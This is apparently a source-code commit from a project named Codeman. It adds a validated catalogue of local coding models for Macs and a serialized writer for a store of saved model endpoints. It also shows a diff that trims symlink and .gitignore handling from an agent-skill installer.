* of many requests, in which the prefix snapshots may add up to 8 GiB. Its figures stay
* the measured ones (with 8 GiB on top it would not be offered on the Mac it ran on),
* and a 30-request session on it is the first thing to measure next.
* - every other `mlx` row: held = the K/V cache in bf16 + one recurrent snapshot per
* 8,192 tokens, computed from the config, x 37,000 / 28,340: the ratio of what the
* measured row really held to the same computation for it (same runner, same
* architecture family). Overhead = the measured row's 3 GB + the whole 8 GiB prefix
* budget. Peak = the measured row's 5 GB, NOT scaled: what makes it up was not
* measured.
*
* After the download the install checks that the runtime holds the whole model on the GPU.
* For a `llamacpp` row both of the runtime's figures are the buffers llama-server reports
* allocating (weights, K/V cache, compute; `MemorySize()` in llm/llama_server.go), so the
* check proves the whole load is on the GPU, whatever the cache type; what grows after the
* load in host memory (the context checkpoints and the prompt cache) is counted above, not
* checked. For an `mlx` row it proves only the weights (issue 19417): the figures above are
* all that stands between such a row and swap.
*
* Models set aside on purpose (a weekly review should look at them again):
* - `bonsai-2:27b`, `bonsai-2:9b` (ternary builds of Qwen3.8-27B and Qwen3.5-9B; the 27B
* would make a 24 GB Mac `ok`): the vendor reports no SWE-bench and no agent loop, and
* whether 2-bit weights keep tool calls reliable was never measured.
* - `ornith-1.5:9b`, `ornith-1.5:35b`, `ornith-1.5:397b` (GGUF only): strong cards, but their
* manifests name no renderer and no tool parser, so whether tool calls work through the
* runtime is unknown (runtime pull request 17965 is open). `ornith-1.5:122b` has both.
* - `gpt-oss:20b`: weak in agentic coding (SWE-bench Verified 52.4, Terminal-Bench 2.1 15.2
* in NVIDIA's table).
* - `flint:40b`: runtime issue 19191 breaks integer tool arguments after the first call.
* - `lfm2.5:24b-a2b`: its licence allows commercial use only below USD 10M of revenue.
* - `laguna-xs-2.1`: the runtime's own page names an open problem with it on macOS.
* `laguna-s-2.1`: open runtime issues 17602 and 17632.
* - `qwen3.8-flash-next:125b`: the Qwen Community License, not an open licence.
* - The plain tags `qwen3.5:9b`, `mimo-v2.6:9b` and `qwen3.8:27b`: a Mac pulls their MLX
* builds, whose 8 GiB of prefix snapshots do not fit the Macs a 9B or a 27B is for. Their
* GGUF builds are listed instead.
* - `qwen3.5:122b-a10b`: replaced by `ornith-1.5:122b`, a fine-tune of it (SWE-bench
* Verified 84.5 against 72.0) whose MLX build carries a renderer and a tool parser.
*
* `tested` has one entry: `qwen3.6:35b-a3b` with OpenCode on an Apple M5 Pro with 48 GB,
* 2026-11-06, 67.7 tokens per second. Only a Mac of exactly that chip and memory size is told
* "Recommended" and shown that speed in place of the estimate. Every other row was never run
* on a Mac by us, and its row says `estimated` and "not run on a Mac like this yet".
*/
import { z } from 'zod';
import type { ChipEntry, LocalModelCatalog } from '../types.js';
/** A model id: lowercase name, one colon, a tag. No slash, so no registry host or namespace can ride along. */
export const LOCAL_MODEL_ID_PATTERN = /^[a-z0-9][a-z0-9._-]*:[a-z0-9][a-z0-9._-]*$/;
/**
* Whether `chip` (a `machdep.cpu.brand_string`, 'Apple M4 Pro') is the chip a `ChipEntry.match`
* ('M4 Pro') names: the string must END with the match, and the match must start at the
* beginning or after a space. Case is ignored.
*
* Stricter than "the match occurs in the string" on purpose. 'M4' is not the chip of
* 'Apple M4 Pro', 'M1' is not the chip of 'Apple M10', and a variant this table has never heard
* of ('Apple M6 Pro') matches no row instead of borrowing the bandwidth of its base chip.
*/
export function chipNameMatches(chip: string, match: string): boolean {
const name = chip.trim().toLowerCase();
const wanted = match.trim().toLowerCase();
if (wanted === '' || !name.endsWith(wanted)) return false;
const start = name.length - wanted.length;
return start === 0 || name[start - 1] === ' ';
}
/**
* The memory bandwidth (GB/s) of `chip`, from the first row that names it. `undefined` when the
* chip string is absent or no row names it: the speed is then UNKNOWN, a bandwidth is never guessed.
*/
export function chipBandwidthGbps(chips: readonly ChipEntry[], chip: string | undefined): number | undefined {
if (!chip) return undefined;
return chips.find((row) => chipNameMatches(chip, row.match))?.gbps;
}
const isoDate = z.string().regex(/^\d{4}-\d{2}-\d{2}$/, 'must be an ISO date (YYYY-MM-DD)');
const positiveInt = z.number().int().positive();
const TestedOnSchema = z
.object({
chip: z.string().min(1).max(80),
memGb: positiveInt,
cli: z.string().min(1).max(24),
date: isoDate,
tokensPerSecond: z.number().positive().optional(),
})
.strict();
const LocalModelEntrySchema = z
.object({
id: z.string().max(100).regex(LOCAL_MODEL_ID_PATTERN, 'must be name:tag in lowercase, without a slash'),
label: z.string().min(1).max(80),
license: z.string().min(1).max(40),
paramsB: z.number().positive(),
runner: z.enum(['mlx', 'llamacpp']),
bytes: positiveInt,
heldBytesPerToken: positiveInt,
overheadBytes: z.number().int().nonnegative(),
peakExtraBytes: z.number().int().nonnegative(),
figures: z.enum(['measured', 'estimated']),
contexts: z.array(positiveInt).min(1),
rank: z.number().int(),
speedPer100Gbps: z.number().positive().optional(),
tested: z.array(TestedOnSchema),
})
.strict();
const LocalHarnessEntrySchema = z
.object({
cli: z.string().min(1).max(24),
minContext: positiveInt,
rank: z.number().int(),
gated: z.boolean().optional(),
slowFirstTurn: z.boolean().optional(),
})
.strict();
const ChipEntrySchema = z
.object({
match: z.string().min(1).max(40),
gbps: z.number().positive(),
})
.strict();
/** The index of the first value that already occurred earlier in the list, or -1. */
function firstRepeat<T>(values: readonly T[]): number {
const seen = new Set<T>();
for (let i = 0; i < values.length; i++) {
if (seen.has(values[i])) return i;
seen.add(values[i]);
}
return -1;
}
/**
* Validates a whole catalogue: every field, then the rules that hold across rows (see the file
* header). Typed against `LocalModelCatalog`, so the two cannot drift apart.
*/
export const LocalModelCatalogSchema: z.ZodType<LocalModelCatalog> = z
.object({
schema: z.literal(1),
updated: isoDate,
minMacosMajor: positiveInt,
models: z.array(LocalModelEntrySchema),
harnesses: z.array(LocalHarnessEntrySchema),
chips: z.array(ChipEntrySchema),
})
.strict()
.superRefine((catalog, ctx) => {
const issue = (path: (string | number)[], message: string): void => {
ctx.addIssue({ code: 'custom', path, message });
};
// A repeated id would make "the model" ambiguous, a repeated rank would make the order of
// two models depend on where they sit in the array.
const repeatedId = firstRepeat(catalog.models.map((m) => m.id));
if (repeatedId >= 0) issue(['models', repeatedId, 'id'], 'model ids must be unique');
const repeatedRank = firstRepeat(catalog.models.map((m) => m.rank));
if (repeatedRank >= 0) issue(['models', repeatedRank, 'rank'], 'model ranks must be unique');
const harnessClis = catalog.harnesses.map((h) => h.cli);
const repeatedCli = firstRepeat(harnessClis);
if (repeatedCli >= 0) issue(['harnesses', repeatedCli, 'cli'], 'a harness may be listed only once');
const repeatedHarnessRank = firstRepeat(catalog.harnesses.map((h) => h.rank));
if (repeatedHarnessRank >= 0) issue(['harnesses', repeatedHarnessRank, 'rank'], 'harness ranks must be unique');
catalog.models.forEach((model, m) => {
for (let i = 1; i < model.contexts.length; i++) {
if (model.contexts[i] >= model.contexts[i - 1]) {
issue(['models', m, 'contexts', i], 'contexts must be listed largest first, without repeats');
break;
}
}
// An entry for a harness the catalogue does not list could never match a candidate: a typo.
model.tested.forEach((entry, t) => {
if (!harnessClis.includes(entry.cli)) {
issue(['models', m, 'tested', t, 'cli'], 'a tested entry must name a harness of this catalogue');
}
});
});
// Most specific first ('M4 Max' before 'M4'): a row whose text sits inside a LATER row's text
// is the less specific of the two, so it is in the wrong place. A repeated match is the same
// mistake.
for (let later = 1; later < catalog.chips.length; later++) {
const laterMatch = catalog.chips[later].match.toLowerCase();
const shadowing = catalog.chips.slice(0, later).find((row) => laterMatch.includes(row.match.toLowerCase()));
if (shadowing) {
issue(
['chips', later, 'match'],
`chips must be listed most specific first: '${shadowing.match}' comes before '${catalog.chips[later].match}'`
);
break;
}
}
});
/**
* The memory figures measured for `qwen3.6:35b-a3b` on an Apple M5 Pro with 48 GB (2026-11-06,
* the MLX runner), in decimal bytes. Only that row carries them; see the file header (MEMORY)
* for what they do not cover.
*/
const MEASURED_MEMORY = {
/** 36,000 to 38,000 bytes stayed held per token of context after a prompt of 89,000 and one of 167,000 tokens. */
heldBytesPerToken: 37_000,
/** The runner held 2.5 to 3 GB beside the weights. */
overheadBytes: 3_000_000_000,
/** While a long prompt was processed the peak stood about 5 GB above what stayed held. */
peakExtraBytes: 5_000_000_000,
} as const;
/** The llama.cpp runner's own buffers, compute buffers included (file header, MEMORY). */
const LLAMACPP_RUNNER_BYTES = 1_000_000_000;
/** The host prompt cache llama-server may keep: `LLAMA_ARG_CACHE_RAM`, 1024 MiB (`RUNTIME_HOST_PROMPT_CACHE_MIB`). */
const LLAMACPP_PROMPT_CACHE_BYTES = 1024 * 1024 * 1024;
/** The context checkpoints llama-server may keep: `LLAMA_ARG_CTX_CHECKPOINTS`, 8 (`RUNTIME_CTX_CHECKPOINTS`). */
const LLAMACPP_CTX_CHECKPOINTS = 8;
/** The tokens the runtime drafts per step for an MTP model whose tag sets no `draft_num_predict`, 4: so many rollback states. */
const LLAMACPP_DEFAULT_DRAFT_TOKENS = 4;
/** The prefix snapshots the MLX runner may keep: `maxPagedOutBytes`, 8 GiB. */
const MLX_PREFIX_CACHE_BYTES = 8 * 1024 * 1024 * 1024;
/**
* The catalogue that ships with Codeman. Never read directly outside this file and its test:
* callers use `getLocalModelCatalog()`, which validates it first.
*/
export const STOCK_LOCAL_MODEL_CATALOG: LocalModelCatalog = {
schema: 1,
updated: '2026-11-08',
// The oldest macOS the model runtime supports.
minMacosMajor: 14,
// Ordered by rank. The higher rank wins among models that fit and whose speed is graded
// alike (recommend.ts ranks the speed grade first). See the file header for the models
// that are left out and why.
models: [
{
// Small Macs (16 to 32 GB, `limited`): the base model of the row below.
id: 'qwen3.5:9b-q4_k_m',
label: 'Qwen3.5 9B',
license: 'Apache-2.0',
paramsB: 9,
runner: 'llamacpp',
bytes: 6_550_825_550,
// 8 attention layers x 4 K/V heads x 256 x 2 x 34/32.
heldBytesPerToken: 17_408,
// 24 linear-attention layers hold 52,690,944 bytes of f32 state: once live, and once in
// each context checkpoint.
overheadBytes: 52_690_944 * (1 + LLAMACPP_CTX_CHECKPOINTS) + LLAMACPP_RUNNER_BYTES + LLAMACPP_PROMPT_CACHE_BYTES,
peakExtraBytes: 0,
figures: 'estimated',
contexts: [131072, 65536],
rank: 1,
// Measured: 37.1 tokens per second on 400 GB/s (this Q4_K_M build, llama.cpp).
speedPer100Gbps: 9.3,
tested: [],
},
{
// Small Macs (16 to 32 GB, `limited`). MiMo-V2.6-Distill-Qwen-9B, a fine-tune of
// Qwen3.5-9B for code and agents: SWE-bench Verified 61.1 and SWE-bench Pro 44.6,
// against 60.0 and 32.0 for its base (Xiaomi's card). Requires exactly the pinned
// runtime, 0.40.15.
id: 'mimo-v2.6:9b-q4_k_m',
label: 'MiMo V2.6 9B',
license: 'MIT',
paramsB: 9,
runner: 'llamacpp',
bytes: 6_550_811_033,
// The architecture and the quantization of the row above, so its figures.
heldBytesPerToken: 17_408,
overheadBytes: 52_690_944 * (1 + LLAMACPP_CTX_CHECKPOINTS) + LLAMACPP_RUNNER_BYTES + LLAMACPP_PROMPT_CACHE_BYTES,
peakExtraBytes: 0,
figures: 'estimated',
contexts: [131072, 65536],
rank: 2,
// Not measured: the 9.3 of the row above, the same architecture and file size.
speedPer100Gbps: 9.3,
tested: [],
},
{
// Cohere's model for agentic software engineering, 3 billion parameters active:
// SWE-bench Verified 67.6 (vendor). Its card asks OpenCode for interleaved reasoning,
// which Codeman's OpenCode settings do not set.
id: 'north-mini-code-1.0:q4_k_m',
label: 'North Mini Code 1.0',
license: 'Apache-2.0',
paramsB: 30,
runner: 'llamacpp',
bytes: 18_593_967_008,
// 13 full-attention layers x 4 K/V heads x 128 x 2 x 34/32.
heldBytesPerToken: 14_144,
// 36 sliding-window layers: (4,096 + 512) cells x 4 x 128 x 2 x 34/32 = 180,486,144, live
// and in each context checkpoint.
overheadBytes: 180_486_144 * (1 + LLAMACPP_CTX_CHECKPOINTS) + LLAMACPP_RUNNER_BYTES + LLAMACPP_PROMPT_CACHE_BYTES,
peakExtraBytes: 0,
figures: 'estimated',
contexts: [262144, 131072, 65536],
rank: 3,
// Not measured: the 13.6 measured for Qwen3.6 35B-A3B on llama.cpp, which has the same
// 3 billion active parameters.
speedPer100Gbps: 13.6,
tested: [],
},
{
// Macs of 36 GB on a slower chip: the model of the tested pair, as a GGUF build whose
// memory does not grow after it loaded. With its multi-token-prediction layer.
id: 'qwen3.6:35b-a3b-mtp-q4_k_m',
label: 'Qwen3.6 35B-A3B (GGUF)',
license: 'Apache-2.0',
paramsB: 35,
runner: 'llamacpp',
bytes: 22_621_314_381,
// 10 attention layers x 2 K/V heads x 256 x 2 x 34/32 = 10,880, + the prediction layer in
// f16: 2 x 256 x 2 x 2 = 2,048.
heldBytesPerToken: 12_928,
// 30 linear-attention layers hold 65,863,680 bytes of f32 state: live, in the 2 rollback
// copies of prediction (this tag drafts 2 tokens, `draft_num_predict` 2), and in each
// context checkpoint.
overheadBytes:
65_863_680 * (1 + 2 + LLAMACPP_CTX_CHECKPOINTS) + LLAMACPP_RUNNER_BYTES + LLAMACPP_PROMPT_CACHE_BYTES,
peakExtraBytes: 0,
figures: 'estimated',
contexts: [262144, 131072, 65536],
rank: 4,
// Measured: 54.5 tokens per second on 400 GB/s (llama.cpp, without prediction).
speedPer100Gbps: 13.6,
tested: [],
},
{
// 48 GB: the tested pair. SWE-bench Verified 73.4, SWE-bench Pro 49.5 (Qwen's card).
id: 'qwen3.6:35b-a3b',
label: 'Qwen3.6 35B-A3B',
license: 'Apache-2.0',
paramsB: 35,
// The plain tag is a manifest list; a Mac takes its MLX child.
runner: 'mlx',
// What a Mac really downloads: the MLX build, 2% above the GGUF build of the row above.
bytes: 23_105_798_956,
...MEASURED_MEMORY,
figures: 'measured',
contexts: [131072, 65536],
rank: 5,
// Measured: 67.8 tokens per second on 400 GB/s with MLX. The one Mac we tested ran it at
// 67.7 on 307 GB/s, so on other chips the estimate is on the low side.
speedPer100Gbps: 16.9,
// Run by us with OpenCode on the MacBook Pro (Mac17,13): a four-step task with tool calls.
tested: [{ chip: 'Apple M5 Pro', memGb: 48, cli: 'opencode', date: '2026-11-06', tokensPerSecond: 67.7 }],
},
{
// Large Macs that want 8-bit weights: the row below in Q8_0, half as fast.
id: 'qwen3.8:27b-q8_0',
label: 'Qwen3.8 27B (Q8)',
license: 'Apache-2.0',
paramsB: 27.8,
runner: 'llamacpp',
bytes: 29_978_242_050,
// The architecture of the row below, prediction layer included (its GGUF has one), and the
// runtime's 4 drafted tokens (the tag sets none), so its figures.
heldBytesPerToken: 38_912,
overheadBytes:
156_893_184 * (1 + LLAMACPP_DEFAULT_DRAFT_TOKENS + LLAMACPP_CTX_CHECKPOINTS) +
LLAMACPP_RUNNER_BYTES +
LLAMACPP_PROMPT_CACHE_BYTES,
peakExtraBytes: 0,
figures: 'estimated',
contexts: [262144, 131072, 65536],
rank: 6,
// Not measured: the 2.95 of the row below scaled by file size.
speedPer100Gbps: 1.7,
tested: [],
},
{
// 36 to 96 GB on a fast chip: the strongest model of this size. Terminal-Bench 2.1 73.0,
// SWE-bench Pro 61.7 (Qwen's card). Dense, so it is slow on a Pro chip.
id: 'qwen3.8:27b-mtp-q4_k_m',
label: 'Qwen3.8 27B',
license: 'Apache-2.0',
paramsB: 27.8,
runner: 'llamacpp',
bytes: 17_741_872_154,
// 16 attention layers x 4 K/V heads x 256 x 2 x 34/32 = 34,816, + the prediction layer in
// f16: 4 x 256 x 2 x 2 = 4,096.
heldBytesPerToken: 38_912,
// 48 linear-attention layers hold 156,893,184 bytes of f32 state: live, in the 4 rollback
// copies of prediction (`draft_num_predict` 4), and in each context checkpoint.
overheadBytes:
156_893_184 * (1 + 4 + LLAMACPP_CTX_CHECKPOINTS) + LLAMACPP_RUNNER_BYTES + LLAMACPP_PROMPT_CACHE_BYTES,
peakExtraBytes: 0,
figures: 'estimated',
contexts: [262144, 131072, 65536],
rank: 7,
// Measured: 11.8 tokens per second on 400 GB/s (llama.cpp, Q4_K_M, without prediction).
// This build predicts several tokens at a time, so it is faster than this figure says.
speedPer100Gbps: 2.95,
tested: [],
},
{
// 128 GB and more. A fine-tune of Qwen3.5-122B-A10B, 10 billion parameters active:
// Terminal-Bench 2.1 81.2, SWE-bench Verified 84.5, SWE-bench Pro 76.9 (Ornith's card).
id: 'ornith-1.5:122b',
label: 'Ornith 1.5 122B-A10B',
license: 'MIT',
paramsB: 122,
// The plain tag is a manifest list; a Mac takes its MLX child (with a renderer and a
// tool parser, which the GGUF builds of this family lack).
runner: 'mlx',
bytes: 73_388_069_552,
// 12 attention layers x 2 K/V heads x 256 x 2 x 2 bytes = 24,576, + a 153,649,152-byte
// recurrent snapshot per 8,192 tokens = 18,756: 43,332, x 37,000 / 28,340.
heldBytesPerToken: 56_574,
overheadBytes: MEASURED_MEMORY.overheadBytes + MLX_PREFIX_CACHE_BYTES,
peakExtraBytes: MEASURED_MEMORY.peakExtraBytes,
figures: 'estimated',
contexts: [262144, 131072],
rank: 8,
// Not measured: the 16.9 of Qwen3.6 35B-A3B on MLX x 3/10, its active parameters
// against these, rounded down.
speedPer100Gbps: 5,
tested: [],
},
],
// The higher rank wins when a model can run with more than one harness.
harnesses: [
{ cli: 'opencode', minContext: 65536, rank: 3 },
// Sends a fixed prompt of about 36,000 tokens, so the first answer takes minutes.
{ cli: 'claude', minContext: 65536, rank: 2, slowFirstTurn: true },
// Gated: neither its 32768 minimum nor its handling of a `name:tag` model id is verified.
{ cli: 'pi', minContext: 32768, rank: 1, gated: true },
],
// Memory bandwidth in GB/s, most specific first. Only chips that shipped and are in the source
// table are listed. Where one name covers two bandwidths (M3 Max 300 or 400, M4 Max 410 or 546,
// M5 Max 460 or 614) the LOWER one stands, so a speed computed from it is a floor.
chips: [
{ match: 'M5 Ultra', gbps: 1228 },
{ match: 'M3 Ultra', gbps: 800 },
{ match: 'M2 Ultra', gbps: 800 },
{ match: 'M1 Ultra', gbps: 800 },
{ match: 'M5 Max', gbps: 460 },
{ match: 'M4 Max', gbps: 410 },
{ match: 'M3 Max', gbps: 300 },
{ match: 'M2 Max', gbps: 400 },
{ match: 'M1 Max', gbps: 400 },
{ match: 'M5 Pro', gbps: 307 },
{ match: 'M4 Pro', gbps: 273 },
{ match: 'M3 Pro', gbps: 150 },
{ match: 'M2 Pro', gbps: 200 },
{ match: 'M1 Pro', gbps: 200 },
{ match: 'M5', gbps: 154 },
{ match: 'M4', gbps: 120 },
{ match: 'M3', gbps: 100 },
{ match: 'M2', gbps: 100 },
{ match: 'M1', gbps: 68 },
],
};
let validated: LocalModelCatalog | undefined;
/**
* The catalogue in force: the stock constant, validated once on first use. Callers go through
* this function, so a later stage can change where the catalogue comes from without touching
* them. Throws when the constant breaks its own schema, which the catalogue test rules out.
*/
export function getLocalModelCatalog(): LocalModelCatalog {
validated ??= LocalModelCatalogSchema.parse(STOCK_LOCAL_MODEL_CATALOG);
return validated;
}
+124
View File
@@ -0,0 +1,124 @@
/**
* @fileoverview The serialized writer of `custom-model-hosts.json`, the store of the saved
* custom model endpoints (src/custom-model-hosts.ts).
*
* Why it exists: `writeCustomModelHosts()` writes through ONE temp file name per process and
* has no queue, and `readCustomModelHosts()` reads a file that does not parse as an empty
* list. Two overlapping writers (an endpoint route and the 5-minute discovery sweep) can
* leave one body over the tail of a longer one, and the next writer then saves a file that
* holds only its own record: every other endpoint and its API key is gone. The same fault
* `mutateSettingsFile()` ended for `settings.json`.
*
* The shape of `mutateSettingsFile()` (src/web/settings-writer.ts):
* - Serialized: mutations run one at a time on one promise chain. The check a route makes
* (the id is free, the record still exists) runs INSIDE `fn`, in the same step as the write.
* - Atomic: each write goes to a temp file with a random name beside the target and is
* renamed over it. The file is mode 0600 (it holds API keys).
* - Refuses a file it must not trust: only a missing or empty file starts from an empty
* list. A file that cannot be read, does not parse or is not an array is left alone and
* the write rejects with `CustomModelHostsWriteRefusedError`. The message never repeats
* the parser's own text, which can quote an API key.
*
* EVERY writer goes through it: the four endpoint routes of
* src/web/routes/custom-model-routes.ts (create, update, delete, discover-models), the
* discovery sweep `refreshAllCustomModelHosts()`, and the local model's connect step. The one
* direct writer left is config-backup restore, which must work on a file that does not parse.
*/
import { randomUUID } from 'node:crypto';
import fs from 'node:fs/promises';
import { dirname } from 'node:path';
import { getDataDir } from './config/instance.js';
import { customModelHostsPath, type CustomModelHost } from './custom-model-hosts.js';
import { ApiErrorCode, createErrorResponse, getErrorMessage, type ApiResponse } from './types.js';
/** A write refused because the existing `custom-model-hosts.json` must not be overwritten. The message is user-facing. */
export class CustomModelHostsWriteRefusedError extends Error {
constructor(message: string) {
super(message);
this.name = 'CustomModelHostsWriteRefusedError';
}
}
/** The list a write starts from. Only a missing or empty file is an empty list; anything else that is not an array is refused. */
async function readHostsForWrite(path: string): Promise<CustomModelHost[]> {
let raw: string;
try {
raw = await fs.readFile(path, 'utf-8');
} catch (err) {
if ((err as NodeJS.ErrnoException).code === 'ENOENT') return [];
throw new CustomModelHostsWriteRefusedError(
`Cannot read ${path} (${(err as Error).message}), so this change was not saved.`
);
}
// An empty file holds no endpoint to lose.
if (raw.trim() === '') return [];
let parsed: unknown;
try {
parsed = JSON.parse(raw);
} catch {
parsed = undefined;
}
if (!Array.isArray(parsed)) {
throw new CustomModelHostsWriteRefusedError(
`${path} is not a valid JSON list, so this change was not saved (saving would have replaced every other model endpoint in it, with its API key). Fix or delete the file, or restore it from a config backup, then try again.`
);
}
return parsed as CustomModelHost[];
}
async function writeHostsFile(path: string, hosts: CustomModelHost[]): Promise<void> {
// Through a symlink: the rename lands on the real file.
const target = await fs.realpath(path).catch(() => path);
await fs.mkdir(dirname(target), { recursive: true });
const tmp = `${target}.${process.pid}.${randomUUID()}.tmp`;
try {
await fs.writeFile(tmp, JSON.stringify(hosts, null, 2), { mode: 0o600 });
await fs.rename(tmp, target);
} catch (err) {
await fs.rm(tmp, { force: true }).catch(() => {});
throw err;
}
}
let mutationChain: Promise<unknown> = Promise.resolve();
/** What a mutation returns: the list to write (absent: write nothing) and what the caller gets back. */
export interface CustomModelHostsMutation<T> {
/** The whole list to store. Absent: the file is left as it is. */
hosts?: CustomModelHost[];
/** Handed back to the caller of `mutateCustomModelHosts()`. */
result: T;
}
/**
* Runs one change to the endpoint store. `fn` receives the current list (a copy it may change)
* and returns what to write and what to hand back. Resolves with `result`. A refused or failed
* mutation rejects its own caller only; the chain keeps going.
*
* `configDir` is the folder of the file, as for `readCustomModelHosts()`. Default: the data dir.
*/
export function mutateCustomModelHosts<T>(
fn: (hosts: CustomModelHost[]) => CustomModelHostsMutation<T>,
configDir?: string
): Promise<T> {
const run = mutationChain.then(async () => {
// Resolved inside the chain: the data dir is read when the mutation runs, like the file.
const path = customModelHostsPath(configDir ?? getDataDir());
const current = await readHostsForWrite(path).catch((err: unknown) => {
console.warn(`[custom-model] write refused: ${getErrorMessage(err)}`);
throw err;
});
const mutation = fn(current);
if (mutation.hosts) await writeHostsFile(path, mutation.hosts);
return mutation.result;
});
mutationChain = run.catch(() => {});
return run;
}
/** A refused write answers 409 CONFLICT with the fix; any other failure stays OPERATION_FAILED. Like `settingsWriteErrorResponse()`. */
export function customModelHostsWriteErrorResponse(err: unknown): ApiResponse<never> {
if (err instanceof CustomModelHostsWriteRefusedError) return createErrorResponse(ApiErrorCode.CONFLICT, err.message);
return createErrorResponse(ApiErrorCode.OPERATION_FAILED, getErrorMessage(err));
}
+5 -103
View File
@@ -1358,87 +1358,6 @@ async function isSymlink(path: string): Promise<boolean> {
}
}
/**
* Whether a folder INSIDE the copy that holds skill files (today only `reference/`) is a
* symlink. The checks on the copy and its parent stop at the copy itself, and a write or
* unlink of `reference/<name>.md` follows a linked `reference/` wherever it points:
* measured, `reference -> <elsewhere>` made install overwrite a `history.md` there and
* uninstall delete it. A cloned repository can commit that link, and a Docker case's
* container can plant it in the bind-mounted workspace that the host injects into, so
* both are refused like a linked copy. Checked once before the first write or unlink; a
* link swapped in after the check (a race against the container) is not covered.
*/
async function agentSkillSubdirIsSymlink(skillDir: string, files: AgentSkillFile[]): Promise<boolean> {
const subdirs = new Set<string>(['reference']);
for (const file of files) {
// Every folder on the way to the file, outermost first: `a/b/x.md` checks `a`, then `a/b`.
const parts = dirname(file.relPath)
.split(/[\\/]/)
.filter((part) => part !== '' && part !== '.');
for (let i = 1; i <= parts.length; i++) subdirs.add(join(...parts.slice(0, i)));
}
for (const subdir of subdirs) {
if (await isSymlink(join(skillDir, subdir))) return true;
}
return false;
}
/**
* The ignore file every Codeman-managed skill copy carries, and what it holds: `*`
* matches everything in the copy's own folder (the ignore file included), so a user's
* repository never lists `.claude/skills/codeman/` (or `.agents/skills/codeman/`) as
* untracked, without Codeman touching the repository's own `.gitignore` or
* `info/exclude`. Same idea as the prompt-uploads folder (`ensureUploadDir`).
*
* Deliberately NOT part of `readAgentSkillSource()`: it is written once with O_EXCL and
* never compared or rewritten, so a file the user put there (or edited) is theirs.
*
* Measured against Claude Code 2.1.319, whose skill discovery runs `git check-ignore`
* only on directories at or above `.claude/skills` (the nested-skills walk), never on a
* skill folder or its SKILL.md: a `*` inside `codeman/` ignores the folder's CONTENTS,
* not the folder, so the skill still loads. Codex 0.162 does no gitignore check on skills.
*/
const AGENT_SKILL_GITIGNORE = '.gitignore';
const AGENT_SKILL_GITIGNORE_CONTENT = '*\n';
/**
* Write the copy's `.gitignore` if none is there. Returns whether it wrote one.
* 'wx' (O_CREAT|O_EXCL) never replaces an existing file and refuses a symlink at the
* name. A create that succeeded before the write failed (ENOSPC) would leave an empty
* file that reads as the user's next time, so it is taken back; that cleanup's own
* failure must not replace the cause.
*/
async function ensureAgentSkillGitignore(skillDir: string): Promise<boolean> {
const ignoreFile = join(skillDir, AGENT_SKILL_GITIGNORE);
try {
await writeFile(ignoreFile, AGENT_SKILL_GITIGNORE_CONTENT, { flag: 'wx' });
return true;
} catch (err) {
if ((err as NodeJS.ErrnoException).code === 'EEXIST') return false;
await unlink(ignoreFile).catch(() => {});
throw err;
}
}
/**
* Remove the copy's `.gitignore` only when it is the LAST thing in the folder and holds
* exactly what Codeman writes. Anything else in the folder (a user's own notes) keeps
* the ignore file, so those files stay out of `git status` as they were, and a
* `.gitignore` with other content is the user's.
*/
async function removeAgentSkillGitignoreIfLast(skillDir: string): Promise<void> {
const ignoreFile = join(skillDir, AGENT_SKILL_GITIGNORE);
try {
const entries = await readdir(skillDir);
if (entries.length !== 1 || entries[0] !== AGENT_SKILL_GITIGNORE) return;
if (!(await lstat(ignoreFile)).isFile()) return;
if ((await readFile(ignoreFile, 'utf-8')) !== AGENT_SKILL_GITIGNORE_CONTENT) return;
await unlink(ignoreFile);
} catch {
// best-effort: a folder that stays behind holds only an ignore file
}
}
/** What an install/remove actually did, so callers (CLI, logs) can say so. */
export type AgentSkillApplyResult =
| 'installed' // fresh copy written
@@ -1447,31 +1366,23 @@ export type AgentSkillApplyResult =
| 'removed' // our copy deleted
| 'absent' // nothing there to remove
| 'foreign' // a copy exists but is not ours; left untouched
| 'symlink'; // the skill dir, its parent or a folder inside it is a symlink; left untouched
| 'symlink'; // the skill dir (or its parent) is a symlink; left untouched
/**
* Install or refresh the Codeman agent skill into `skillDir` (a `.../codeman`
* directory, e.g. `<case>/.claude/skills/codeman`, `~/.claude/skills/codeman` or
* `<case>/.agents/skills/codeman`).
*
* Refuses these shapes rather than writing through them:
* Refuses two shapes rather than writing through them:
* - a SYMLINK at the skill dir or its `skills/` parent: this repo's own dogfooding
* layout (`.claude/skills/codeman -> ../../skills/codeman`) would otherwise have
* the injector overwrite the repo source through the link;
* - a SYMLINK at a folder inside the copy (`reference/`), which would carry the skill's
* files to wherever it points (`agentSkillSubdirIsSymlink`);
* - a FOREIGN copy (SKILL.md present without our marker): that is the user's own
* skill, and per the statusLine rule we never clobber what we did not write.
*
* Idempotent and cheap: unchanged files are not rewritten, so calling on every
* session create causes no mtime churn.
*
* The copy ignores itself in git: a `.gitignore` of `*` is written FIRST, before any
* skill file, so a `git status` that runs mid-install never lists the folder either
* (`ensureAgentSkillGitignore`). It is written once and never rewritten; a copy made
* before this existed gains it on its next install or refresh, which then reports
* 'refreshed'.
*
* Serialized on the skill dir through the same lock the settings writers use: two
* sessions created at once in one repo both inject this skill, and interleaving their
* ownership read with the other's write reports a bogus result (an 'unchanged' for a
@@ -1491,9 +1402,7 @@ export async function installAgentSkillInto(skillDir: string): Promise<AgentSkil
if (existing !== null && !existing.includes(AGENT_SKILL_MARKER_PREFIX)) return 'foreign';
const files = await readAgentSkillSource();
if (await agentSkillSubdirIsSymlink(skillDir, files)) return 'symlink';
await mkdir(skillDir, { recursive: true });
let changed = await ensureAgentSkillGitignore(skillDir);
let changed = false;
for (const file of files) {
const target = join(skillDir, file.relPath);
let current: string | null = null;
@@ -1635,8 +1544,7 @@ export async function refreshUserAgentSkill(): Promise<AgentSkillApplyResult | '
* Remove a Codeman-managed skill copy from `skillDir`. Same ownership and symlink
* refusals as the install path. Deletes only files the packaged source would have
* written (never `rm -rf`, so a user's extra files in the directory survive), then
* the copy's own `.gitignore` when nothing else is left beside it, then prunes the
* directories bottom-up if they emptied.
* prunes the directories bottom-up if they emptied.
*
* Shares the install path's per-dir lock so an uninstall can't run between an install's
* ownership read and its writes, which would leave half the skill back on disk.
@@ -1656,13 +1564,10 @@ export async function removeAgentSkillFrom(skillDir: string): Promise<AgentSkill
// Manifest-based, with SKILL.md as the fallback when the packaged source is
// unreadable: removal must still work on an install whose skills/ dir went missing.
const files = await readAgentSkillSource().catch((): AgentSkillFile[] => [{ relPath: 'SKILL.md', content: '' }]);
// An unlink through a linked `reference/` deletes files wherever it points.
if (await agentSkillSubdirIsSymlink(skillDir, files)) return 'symlink';
for (const file of files) {
